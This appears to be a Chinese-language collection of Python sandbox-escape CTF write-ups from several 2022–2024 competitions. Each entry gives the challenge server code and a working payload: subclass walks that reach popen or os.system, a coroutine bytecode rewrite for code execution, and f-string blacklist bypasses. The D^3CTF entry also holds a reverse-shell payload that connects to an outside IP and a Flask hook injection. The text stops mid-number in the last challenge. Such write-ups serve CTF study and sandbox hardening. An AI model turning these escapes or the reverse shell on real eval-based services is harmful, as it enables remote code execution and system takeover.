type([])(‘test’) == list(‘test’) –> [‘t’, ‘e’, ‘s’, ‘t’]

bytes 的切片数据类型为 int
a = b’test’
type(a) –> “bytes”
type(a[0]) –> “int”
a[0] ^ 1 –> 117

来自学长部分 payload

  • 非预期解(运气好,静态flag,费时)

通过 flag.join(flag).split(flag) 可以得到单个字符构成的 list
通过 list.pop() 弹出元素,然后切割 flag,确定弹出元素所在的位置
可以通过分割后 list 元素的数量判断重复次数,通过单个元素的长度判断 单个字符的位置
到最后就只能硬猜了,运气好,就猜了 4 次

  • 预期解
type(type(flag).mro())(type(type(flag).mro())(flag).pop({i}).encode()).remove({guess})


i => flag 单字符位置
guess => num 猜测字符的 ascii 码
当相等时 return NoneType,当不相等时 报错,然后开始爆破

  • 优化预期解
type(flag.split())(type(flag.split())(flag).pop({}).encode()).remove({})

BYUCTF 2023 Builtins 1

  • server.py
print(eval(input("code> "), {"__builtins__": {}}, {"__builtins__": {}}))
  • payload
().__class__.__base__.__subclasses__()[144].__init__.__globals__['popen']('cat flag').read()

BYUCTF 2023 Builtins 2

  • server.py
inp = input("code> ")[:72]
if "__" in inp:
    print("Nope")
else:
    print(eval(inp, {"__builtins__": {}}, {"__builtins__": {}}))
  • payload
().__class__.__base__.__subclasses__()[119].get_data('', path=r'flag.txt')

BYUCTF 2023 a-z0-9

  • server.py
eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])
  • payload
breakpoint()
𝘦𝘹𝘦𝘤("𝘢=𝘤𝘩𝘳;𝘣=𝘰𝘳𝘥;𝘤=𝘣('൬');𝘥=𝘢(𝘤-𝘣('೸'));𝘱𝘳𝘪𝘯𝘵(𝘰𝘱𝘦𝘯(𝘢(𝘤-𝘣('ആ'))+𝘢(𝘤-𝘣('ഀ'))+𝘢(𝘤-𝘣('ഋ'))+𝘢(𝘤-𝘣('അ'))+'.'+𝘥+𝘢(𝘤-𝘣('೴'))+𝘥).𝘳𝘦𝘢𝘥())")

BYUCTF 2023 Leet 1

  • server.py
import re

FLAG = open('flag.txt').read()

inp = input('> ')

if re.search(r'\d', inp) or eval(inp) != 1337:
    print('Nope')
else:
    print(FLAG)
  • payload
int(str(len('a')) + str(len('aaa')) + str(len('aaa')) + str(len('aaaaaaa')))

BYUCTF 2023 Leet 2

  • server.py
import re

FLAG = open('flag.txt').read()

inp = input('> ')

if re.search(r'[123456789]', inp) or re.search(r'\(', inp) or eval(inp) != 1337:
    print('Nope')
else:
    print(FLAG)
  • payload
0xff+0xff+0xff+0xaf+0xaf+0xde

BYUCTF 2023 abcdefghijklm

  • server.py
inp = input("code > ").lower()
eval((inp[:4]+__import__("re").sub(r'[a-m]','',inp[4:]))[:80])
  • payload
eval("\145\166\141\154\050\151\156\160\165\164\050\051\051")

Pwnhub 2022

  • server.py
过滤了字母
  • payload
# open(bytes((47,102,108,97,103)).decode()).read()
 
## shell 生成,正常输入payload
shell = f"__import__('os').popen('{input()}').read()"
shell = ','.join([str(ord(i)) for i in shell])
a = f'eval(bytes(({shell})).decode())'
b = list('abcdefghijklmnopqrstuvwxyz')
c = list('abcdefghijklmnopqrstuvwxyz')
assert len(b) == len(c)
for i in range(len(c)):
    a = a.replace(c[i], b[i])
print(a)

Unknown CTF

忘了是什么比赛的题

server.py

后期仿的,基本一样,存在问题,这样子的后端无法正确覆盖环境变量中的__builtins__,致使无法调用eval(input())

string = "abcdefghjklimnopqrstuvwxyz:=[]()_'"


def check(input_data: str):
    if all([i in string for i in input_data]):
        return True
    return False


print("White list: [a-z] = : () [] '")
print('eval(input_data, {"__builtins__": {"__import__": __import__}})')
input_data = input()
if check(input_data):
    eval(input_data, {"__builtins__": {"__import__": __import__}})
else:
    print("Bad Code!!!")

思路

  • 清理了__builtins__,只保留了__import__,导致eval input等函数无法使用,尝试复原__builtins__
__builtins__ = __import__('builtins')
  • 过滤了空格句点,无法直接通过__import__后调用函数,尝试复原__builtins__后直接调用,就需要将赋值调用放在同一个表达式中,涉及:=
a = [1, 2, 3, 4]
if (a := len(a)) > 3:
    print(a)

# output: 4
  • 在同一个语句中同时__import__使用eval() input(),并且不适用空格等其余字符,则尝试andor表达式,此处涉及andor的短路逻辑
    • 参考文章:https://blog.csdn.net/Echo_Zhang12/article/details/111330901
def a():
    print("a")
    return 0


def b():
    print("b")
    return 1


def c():
    print("c")
    return 2


def d():
    print("d")
    return 3


def e():
    print("e")
    return 0


def f():
    print("f")
    return 4


def g():
    print("g")
    return 0


def h():
    print("h")
    return 5


result = a() and b() and c() or d() or e() and g() or h()
print("最终返回值:", result)


```
输出结果为:
a
d
最终返回值: 3
```

payload

(__builtins__:=__import__('builtins'))and(eval(input()))
  • and左侧先进行复原__builtins__,并且此时赋值结果等同于True
  • 则仍需执行右侧表达式,此时达成RCE

HSCTF 2023 fast-forward

  • server.py
#!/usr/bin/env python3.9
import dis
import readline  # pylint: disable=unused-import
import types
import random
import string

with open("flag.txt", encoding="utf-8") as f:
	flag = f.read().strip()

def all_code_objects(code):
	yield code
	for const in code.co_consts:
		if isinstance(const, types.CodeType):
			yield from all_code_objects(const)

def main():
	
	allowed_instructions = [
		#unary
		"UNARY_POSITIVE",
		"UNARY_NEGATIVE",
		"UNARY_NOT",
		"UNARY_INVERT",
		"GET_ITER",
		# binary
		"STORE_SUBSCR",
		"COMPARE_OP",
		"IS_OP",
		"CONTAINS_OP",
		# comprehensions
		"SET_ADD",
		"LIST_APPEND",
		"MAP_ADD",
		# misc
		"RETURN_VALUE",
		"CALL_FUNCTION",
		"MAKE_FUNCTION",
		"BUILD_SLICE",
		"EXTENDED_ARG",
		"FOR_ITER",
		# variables
		"STORE_NAME",
		"STORE_GLOBAL",
		"STORE_FAST",
		"LOAD_CONST",
		"LOAD_NAME",
		"LOAD_GLOBAL",
		"LOAD_FAST",
		# collections
		"BUILD_TUPLE",
		"BUILD_LIST",
		"BUILD_SET",
		"BUILD_MAP",
		"BUILD_STRING",
		"LIST_EXTEND",
		"SET_UPDATE",
		"DICT_UPDATE",
		#jumps
		"JUMP_FORWARD",
		"POP_JUMP_IF_TRUE",
		"POP_JUMP_IF_FALSE",
		"JUMP_IF_TRUE_OR_POP",
		"JUMP_IF_FALSE_OR_POP",
		"JUMP_ABSOLUTE"
	]
	
	# unnecessary globals slow us down
	allowed_globals = vars(__builtins__).copy()
	for var in (
		"getattr", "setattr", "eval", "exec", "__import__", "open", "__builtins__", "breakpoint",
		"help"
	):
		allowed_globals[var] = None
	
	while True:
		if random.random() < 0.1:
			print("Stuck? Here's a hint:")
			letter = random.choice(string.ascii_lowercase)
			print(f"There are {flag.count(letter)} {letter}'s in the flag!")
		try:
			inp = input("> ")
		except (EOFError, KeyboardInterrupt):
			exit()
		
		if not inp:
			continue
		
		code = compile(inp, "", "exec")
		
		for subcode in all_code_objects(code):
			for instruction in dis.Bytecode(subcode):
				# unnecessary instructions slow us down
				if instruction.opname not in allowed_instructions and not (
					instruction.opname.startswith("BINARY_") or
					instruction.opname.startswith("INPLACE_")
				):
					break
			else:
				break
			for name in subcode.co_names + subcode.co_varnames:
				# long variable names slow us down
				if len(name) > 5:
					break
			else:
				break
		else:
			print("Illegal!")
			continue
		
		try:
			exec(code, allowed_globals.copy())
		except Exception:
			print("Error!")

if __name__ == "__main__":
	main()
  • payload
(lambda: [x for x in  [].__class__.__base__.__subclasses__() if x.__name__ == 'BuiltinImporter'][0]().load_module('os').system("/bin/sh < flag.txt"))()

D^3CTF 2023 EscapePlan

  • server.py
# 
  • By Host✌
import base64
import requests
 
exp = '(msg:=𝐬𝐭𝐫(request))and(𝐞𝐯𝐚𝐥(msg[int(True)'+"-~int(False)"*37+':int(True)'+"-~int(False)"*166+']))'
r = requests.post("""http://xxx/?app.before_request_funcs.setdefault(None,list()).append(lambda:__import__('os').popen(request.args.get('shell','whoami')).read())""", data={"cmd": base64.b64encode(exp.encode())})
print(r.text)
a=import%20socket%2csubprocess%2cos%3bs%3dsocket.socket(socket.AF_INET%2csocket.SOCK_STREAM)%3bs.connect((%22147.182.242.247%22%2c4444))%3bos.dup2(s.fileno()%2c0)%3b%20os.dup2(s.fileno()%2c1)%3b%20os.dup2(s.fileno()%2c2)%3bp%3dsubprocess.call(%5b%22%2fbin%2fsh%22%2c%22-i%22%5d)%3b&cmd=KGk6PWl0ZXIodmFycyhyZXF1ZXN0KSkpYW5kKGI6PShuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKSlhbmQoZjo9dmFycyhyZXF1ZXN0KVtiXSlhbmQo772F772Y772F772DKGZbbmV4dChpdGVyKGYpKV0pKQ%3d%3d

Hack.lu 2023 Safest Eval

参考原文:rebane2001,学到了很多,感谢

在原文中的最终exp,执行coroutine时,while的条件为while coroutine.cr_running or not coroutine.cr_suspended,其中cr_suspended在3.11中才引入,但其本质为bool类型的值,标志着协程的终止,可以直接while True代替,反正协程结束时会raise StopIteration

  • server.py
from types import CodeType, FunctionType
from opcode import opname, opmap
import dis
import sys

BAD_ATTRS = ["func_globals", "f_globals", "f_locals", "f_builtins", "gi_code", "co_code", "gi_frame"]

BAD_OPCODES = {opmap[opname] for opname in
               ['STORE_ATTR', 'DELETE_ATTR', 'STORE_GLOBAL', 'DELETE_GLOBAL', 'DELETE_SUBSCR', 'IMPORT_STAR',
                'IMPORT_NAME', 'IMPORT_FROM']}

BUILTINS = {
    'enumerate': enumerate,
    'int': int,
    'zip': zip,
    'True': True,
    'filter': filter,
    'list': list,
    'max': max,
    'float': float,
    'divmod': divmod,
    'unicode': str,
    'min': min,
    'range': range,
    'sum': sum,
    'abs': abs,
    'sorted': sorted,
    'repr': repr,
    'isinstance': isinstance,
    'bool': bool,
    'set': set,
    'Exception': Exception,
    'tuple': tuple,
    'chr': chr,
    'function': FunctionType,
    'ord': ord,
    'None': None,
    'round': round,
    'map': map,
    'len': len,
    'bytes': bytes,
    'str': str,
    'all': all,
    'xrange': range,
    'False': False,
    'any': any,
    'dict': dict,
}


def check_co(co):
    for to_check in co.co_names + co.co_consts:
        if type(to_check) is str and ("__" in to_check or to_check in BAD_ATTRS):
            raise Exception(f"Bad attr: {to_check}")

    opcodes = {instruction.opcode for instruction in dis.get_instructions(co)}
    if opcodes.intersection(BAD_OPCODES):
        raise Exception(f"Bad opcode(s): {', '.join(opname[opcode] for opcode in opcodes.intersection(BAD_OPCODES))}")

    for const in co.co_consts:
        if isinstance(const, CodeType):
            check_co(const)


def safest_eval(expr):
    co = compile(expr, "", "exec")
    check_co(co)
    eval_globals = {"__builtins__": dict(BUILTINS)}
    eval(co, eval_globals)
    return eval_globals


def palindrome_challenge(user_code):
    challenge_code = f"""
{user_code}

solved = False
if isinstance(is_palindrome, function):
    challenges = [["ooffoo", "murderforajarofredrum", "palindrome", ""], [True, True, False, True]]
    solved = list(map(is_palindrome, challenges[0])) == challenges[1]
"""

    try:
        eval_globals = safest_eval(challenge_code)
        if eval_globals["solved"] is True:
            print("Solved")
        else:
            print("Not Solved")
    except SyntaxError:
        print("SyntaxError")
    except Exception:
        print("Exception")


if __name__ == "__main__":
    palindrome_challenge(sys.argv[1])
  • 通过opcode和限制builtins禁用了很多东西
BAD_ATTRS = ["func_globals", "f_globals", "f_locals", "f_builtins", "gi_code", "co_code", "gi_frame"]

BAD_OPCODES = {opmap[opname] for opname in
               ['STORE_ATTR', 'DELETE_ATTR', 'STORE_GLOBAL', 'DELETE_GLOBAL', 'DELETE_SUBSCR', 'IMPORT_STAR',
                'IMPORT_NAME', 'IMPORT_FROM']}

BUILTINS = {
    'enumerate': enumerate,
    'int': int,
    'zip': zip,
    'True': True,
    'filter': filter,
    'list': list,
    'max': max,
    'float': float,
    'divmod': divmod,
    'unicode': str,
    'min': min,
    'range': range,
    'sum': sum,
    'abs': abs,
    'sorted': sorted,
    'repr': repr,
    'isinstance': isinstance,
    'bool': bool,
    'set': set,
    'Exception': Exception,
    'tuple': tuple,
    'chr': chr,
    'function': FunctionType,
    'ord': ord,
    'None': None,
    'round': round,
    'map': map,
    'len': len,
    'bytes': bytes,
    'str': str,
    'all': all,
    'xrange': range,
    'False': False,
    'any': any,
    'dict': dict,
}
  • 按照以往的经验,为达到RCE的目的,需要通过__import__或者python的魔法属性向上寻找导入os模块,但是在此处eval的环境中不存在__import__,并且只保留了部分__builtins__,目前唯一可能可行的就是通过类寻找os模块
  • 但是题目同时将__过滤,致使不能直接通过类似"".__class__的方式获取到魔法属性
for to_check in co.co_names + co.co_consts:
    if type(to_check) is str and ("__" in to_check or to_check in BAD_ATTRS):
        raise Exception(f"Bad attr: {to_check}")
  • 此处,很容易想到能否使用replace的方式,将__替换出来,在后续的代码中将错误的属性替换为正确的
"AAclassAA".replace("A", "_")
  • 但因为不存在eval等函数,无法执行替换好的代码,则需要考虑能否将已有的生成器中的语句进行替换,令其执行我们需要的代码,已知co_names是python中的字节码的属性,可以通过修改co_names的方式修改执行的字节码

Generator

返回一个generator iterator的函数。它看起来很像普通函数,不同点在于其包含yield表达式以便产生一系列值供给for-循环使用或是通过next()函数逐一获取。
通常是指生成器函数,但在某些情况下也可能是指 生成器迭代器。如果需要清楚表达具体含义,请使用全称以避免歧义。
  • 普通的函数定义并不能构造出一个生成器,协程可以
async def hello():
    abcd

a = hello()
print(dir(a))
# ['__await__', '__class__', '__del__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'close', 'cr_await', 'cr_code', 'cr_frame', 'cr_origin', 'cr_running', 'send', 'throw']
code = a.cr_code
print(dir(code))
# ['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_kwonlyargcount', 'co_lines', 'co_linetable', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_posonlyargcount', 'co_stacksize', 'co_varnames', 'replace']
print(code.co_names)
# ('abcd',)
  • 修改opcode
code = code.replace(co_names=tuple("bcdef" for i in code.co_names))

print(code.co_names)

# ('bcdef',)
  • 此处有了被更改过后的代码,还需要将其转换为可执行的协程函数,通过FunctionType转换为函数类型
    • 此题,代码执行环境中function = FunctionType
    • 以此题为例,为绕过__过滤,使用replace替换AA__
from types import FunctionType as function

async def hello():
    AAimportAA("os").system("calc")


ob = hello()
code = ob.cr_code
code = code.replace(co_names=tuple(i.replace("A", "_") for i in code.co_names))
func = function(code, {})()
print(type(func))

# <class 'coroutine'>
  • 此时,我们成功构造出了一个协程函数,接下来就是如何去运行这个函数
  • 正常情况下,需要通过asyncio.run()启动一个协程,此处无法正常导入asyncio这个包,查看一下底层逻辑,手动启动这个协程函数

https://docs.python.org/zh-cn/3/reference/datamodel.html?highlight=coroutine%20send#coroutine.send

coroutine.send(value)
开始或恢复协程的执行。 如果value为None,那么这就相当于前往await()所返回迭代器的下一项。 如果value不为None,此方法将委托给导致协程挂起的迭代器的send()方法。 其结果(返回值,StopIteration或是其他异常)将与上述对await()返回值进行迭代的结果相同。
func.send(None)
  • 成功弹出计算器,接下来是RCE执行/readflag获取flag,可以通过协程函数结束时raise StopIteration获取命令执行结果
try:
    func.send(None)
except Exception as e:
    flag = e

print(flag)

# ...
  • 因为最终返回给用户的响应只有四种,通过测信道获取执行的结果
try:
    eval_globals = safest_eval(challenge_code)
    if eval_globals["solved"] is True:
        print("Solved")
    else:
        print("Not Solved")
except SyntaxError:
    print("SyntaxError")
except Exception:
    print("Exception")
  • 最终构造恶意代码
async def async_function():
    subclasses = ().AAclassAA.AAbaseAA.AAsubclassesAA()
    for subclass in subclasses:
        try:
            return subclass.load_module('os').popen('/readflag').read()
        except:
            pass

async_object = async_function()
code_object = async_object.cr_code
code_object = code_object.replace(co_names=tuple(name.replace("A", "_") for name in code_object.co_names))

coroutine = function(code_object, {})()
try:
    while coroutine.cr_running or not coroutine.cr_suspended:
        coroutine.send(None)
except Exception as e:
    flag = str(e)

is_palindrome = (lambda x: x == x[::-1]) if CHECK_EXPRESSION else None
  • CHECK_EXPRESSION依次比较每个字符,通过响应的SolvedNot Solved确定具体字符

强网杯 2023 Pyjail ! It’s myFILTER !!!

  • server.py
import code, os, subprocess
import pty

WELCOME = '''
  _____        _       _ _   _   _____ _   _                       ______ _____ _   _______ ______ _____    _ _
 |  __ \      (_)     (_) | | | |_   _| | ( )                     |  ____|_   _| | |__   __|  ____|  __ \  | | |
 | |__) |   _  _  __ _ _| | | |   | | | |_|/ ___   _ __ ___  _   _| |__    | | | |    | |  | |__  | |__) | | | |
 |  ___/ | | || |/ _` | | | | |   | | | __| / __| | '_ ` _ \| | | |  __|   | | | |    | |  |  __| |  _  /  | | |
 | |   | |_| || | (_| | | | |_|  _| |_| |_  \__ \ | | | | | | |_| | |     _| |_| |____| |  | |____| | \ \  |_|_|
 |_|    \__, || |\__,_|_|_| (_) |_____|\__| |___/ |_| |_| |_|\__, |_|    |_____|______|_|  |______|_|  \_\ (_|_)
         __/ |/ |                                             __/ |
        |___/__/                                             |___/
'''

SOURCE_CODE = '''
import code, os, subprocess
import pty
def blacklist_fun_callback(*args):
    print("Player! It's already banned!")

pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback

vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback

del os, subprocess, code, pty, blacklist_fun_callback
input_code = input("Can u input your code to escape > ")

blacklist_words = [
    "subprocess",
    "os",
    "code",
    "interact",
    "pty",
    "pdb",
    "platform",
    "importlib",
    "timeit",
    "imp",
    "commands",
    "popen",
    "load_module",
    "spawn",
    "system",
    "/bin/sh",
    "/bin/bash",
    "flag",
    "eval",
    "exec",
    "compile",
    "input",
    "vars",
    "attr",
    "dir",
    "getattr"
    "__import__",
    "__builtins__",
    "__getattribute__",
    "__class__",
    "__base__",
    "__subclasses__",
    "__getitem__",
    "__self__",
    "__globals__",
    "__init__",
    "__name__",
    "__dict__",
    "._module",
    "builtins",
    "breakpoint",
    "import",
]

def my_filter(input_code):
    for x in blacklist_words:
        if x in input_code:
            return False
    return True

while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65:
    input_code = eval(f"f'{input_code}'")
else:
    print("Player! Please obey the filter rules which I set!")
'''

def blacklist_fun_callback(*args):
    print("Player! It's already banned!")

pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback

vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback

del os, subprocess, code, pty, blacklist_fun_callback

print(WELCOME)
print("Python Version:python3.10")
print("Source Code:")
print(SOURCE_CODE)
input_code = input("Can u input your code to escape > ")

blacklist_words = [
    "subprocess",
    "os",
    "code",
    "interact",
    "pty",
    "pdb",
    "platform",
    "importlib",
    "timeit",
    "imp",
    "commands",
    "popen",
    "load_module",
    "spawn",
    "system",
    "/bin/sh",
    "/bin/bash",
    "flag",
    "eval",
    "exec",
    "compile",
    "input",
    "vars",
    "attr",
    "dir",
    "getattr"
    "__import__",
    "__builtins__",
    "__getattribute__",
    "__class__",
    "__base__",
    "__subclasses__",
    "__getitem__",
    "__self__",
    "__globals__",
    "__init__",
    "__name__",
    "__dict__",
    "._module",
    "builtins",
    "breakpoint",
    "import",
]

def my_filter(input_code):
    for x in blacklist_words:
        if x in input_code:
            return False
    return True

while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65:
    input_code = eval(f"f'{input_code}'")
else:
    print("Player! Please bypass my filter !")
  • exp.py
{globals().update(dict(my_filter=lambda x:1))}''{inpu''t()}'#
{globals().update(dict(len=lambda x:0))}''{inpu''t()}'#
{print("".__class__.__base__.__subclasses__()[180].__init__.__globals__["listdir"]("."))}''{inpu''t()}'#{print(open("flag_9C9DDF69F9BE0507C92049221919609C6970C866C00877CC7639EB2E8F13E5DF").read())}

强网杯 2023 Pyjail ! It’s myAST !!!!

  • server.py
import ast

WELCOME = """
  _____        _       _ _   _   _____ _   _                                 _____ _______   _ _ _ _ 
 |  __ \      (_)     (_) | | | |_   _| | ( )                         /\    / ____|__   __| | | | | |
 | |__) |   _  _  __ _ _| | | |   | | | |_|/ ___   _ __ ___  _   _   /  \  | (___    | |    | | | | |
 |  ___/ | | || |/ _` | | | | |   | | | __| / __| | '_ ` _ \| | | | / /\ \  \___ \   | |    | | | | |
 | |   | |_| || | (_| | | | |_|  _| |_| |_  \__ \ | | | | | | |_| |/ ____ \ ____) |  | |    |_|_|_|_|
 |_|    \__, || |\__,_|_|_| (_) |_____|\__| |___/ |_| |_| |_|\__, /_/    \_\_____/   |_|    (_|_|_|_)
         __/ |/ |                                             __/ |                                  
        |___/__/                                             |___/                                   
"""

HELP = "| Options: \n|\t[G]et Challenge Source Code \n|\t[E]nter into Challenge \n|\t[Q]uit \n\t"

SOURCE_CDDE = r"""import ast

BAD_ATS = {
  ast.Attribute,
  ast.Subscript,
  ast.comprehension,
  ast.Delete,
  ast.Try,
  ast.For,
  ast.ExceptHandler,
  ast.With,
  ast.Import,
  ast.ImportFrom,
  ast.Assign,
  ast.AnnAssign,
  ast.Constant,
  ast.ClassDef,
  ast.AsyncFunctionDef,
}

BUILTINS = {
    "bool": bool,
    "set": set,
    "tuple": tuple,
    "round": round,
    "map": map,
    "len": len,
    "bytes": bytes,
    "dict": dict,
    "str": str,
    "all": all,
    "range": range,
    "enumerate": enumerate,
    "int": int,
    "zip": zip,
    "filter": filter,
    "list": list,
    "max": max,
    "float": float,
    "divmod": divmod,
    "unicode": str,
    "min": min,
    "range": range,
    "sum": sum,
    "abs": abs,
    "sorted": sorted,
    "repr": repr,
    "object": object,
    "isinstance": isinstance
}



def is_safe(code):
  if type(code) is str and "__" in code:
    return False

  for x in ast.walk(compile(code, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
    if type(x) in BAD_ATS:
      return False

  return True  


if __name__ == "__main__":
  user_input = ""
  while True:
    line = input()
    if line == "":
      break
    user_input += line
    user_input += "\n"

  if is_safe(user_input) and len(user_input) < 1800:
    exec(user_input, {"__builtins__": BUILTINS}, {})
"""


print(WELCOME)
print(HELP)
print("Python Version:python3.11")
while(1):
  choice = input(">>> ").lower().strip()
  match choice:
    case "g":
        print(SOURCE_CDDE)
    case "e":
        print("pls input your code to escape > ")
        BAD_ATS = {
            ast.Attribute,
            ast.Subscript,
            ast.comprehension,
            ast.Delete,
            ast.Try,
            ast.For,
            ast.ExceptHandler,
            ast.With,
            ast.Import,
            ast.ImportFrom,
            ast.Assign,
            ast.AnnAssign,
            ast.Constant,
            ast.ClassDef,
            ast.AsyncFunctionDef,
        }

        BUILTINS = {
            "bool": bool,
            "set": set,
            "tuple": tuple,
            "round": round,
            "map": map,
            "len": len,
            "bytes": bytes,
            "dict": dict,
            "str": str,
            "all": all,
            "enumerate": enumerate,
            "int": int,
            "zip": zip,
            "filter": filter,
            "list": list,
            "max": max,
            "float": float,
            "divmod": divmod,
            "unicode": str,
            "min": min,
            "range": range,
            "sum": sum,
            "abs": abs,
            "sorted": sorted,
            "repr": repr,
            "object": object,
            "isinstance": isinstance
        }

        def is_safe(code):
            if type(code) is str and "__" in code:
                return False

            for x in ast.walk(compile(code, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
                if type(x) in BAD_ATS:
                    return False

            return True

        user_input = ""
        while True:
            line = input()
            if line == "":
                break
            user_input += line
            user_input += "\n"

        if is_safe(user_input) and len(user_input) < 1800:
            exec(user_input, {"__builtins__": BUILTINS}, {})

    case "q":
        print("bye~~~")
        quit()
    case "h" | "help":
        print(HELP)
    case _:
        print("You should select valid choice!")
  • payload
match str:
    case object(__doc__=dc):
        match list(dc):
            case [_,t,r,_,o,b,_,_,c,_,_,_,_,_,_,_,_,space,s,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_l,_,u,f,_,_,_,_,_,_,_,n,_,_,d,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,a,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,m,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,p,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,x,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,h,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,l,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,i,_,g,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,dot]:
                pass
match ():
    case object(__class__=cla):
        match cla:
            case object(__base__=bas):
                pass
match bas:
    case object(__subclasses__=subs):
        pass
match subs():
    case object(pop=po):
        match po(-((((()==())+(()==()))**((()==())+(()==())))+(((()==())+(()==()))**(((()==())+(()==()))*((()==())+(()==())+(()==())))))):
            case object(__init__=ini):
                pass
match ini:
    case object(__globals__=glo):
        match glo:
            case object(get=gt):
                match gt(_l+_l+b+u+i+l+t+i+n+s+_l+_l):
                    case object(get=imp):
                        pass
match imp(_l+_l+i+m+p+o+r+t+_l+_l)(o+s):
    case cc:
        match cc:
            case object(system=sy):
                sy(s+h)

L3HCTF 2024 intractable problem

  • server.py
import sys
import os
 
codes = '''
<<codehere>>
'''
 
try:
    codes.encode("ascii")
except UnicodeEncodeError:
    exit(0)
 
if "__" in codes:
    exit(0)
 
codes += "\nres=factorization(c)"
locals = {"c": "696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863", "__builtins__": None}
res = set()
 
 
def blackFunc(oldexit):
    def func(event, args):
        blackList = [
            "process",
            "os",
            "sys",
            "interpreter",
            "cpython",
            "open",
            "compile",
            "__new__",
            "gc"]
        for i in blackList:
            if i in (event + "".join(str(s) for s in args)).lower():
                print(i)
                oldexit(0)
    return func
 
 
code = compile(codes, "<judgecode>", "exec")
sys.addaudithook(blackFunc(os._exit))
exec(code, {"__builtins__": None}, locals)
 
p = int(locals["res"][0])
q = int(locals["res"][1])
if p > 1e5 and q > 1e5 and p * q == int("696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450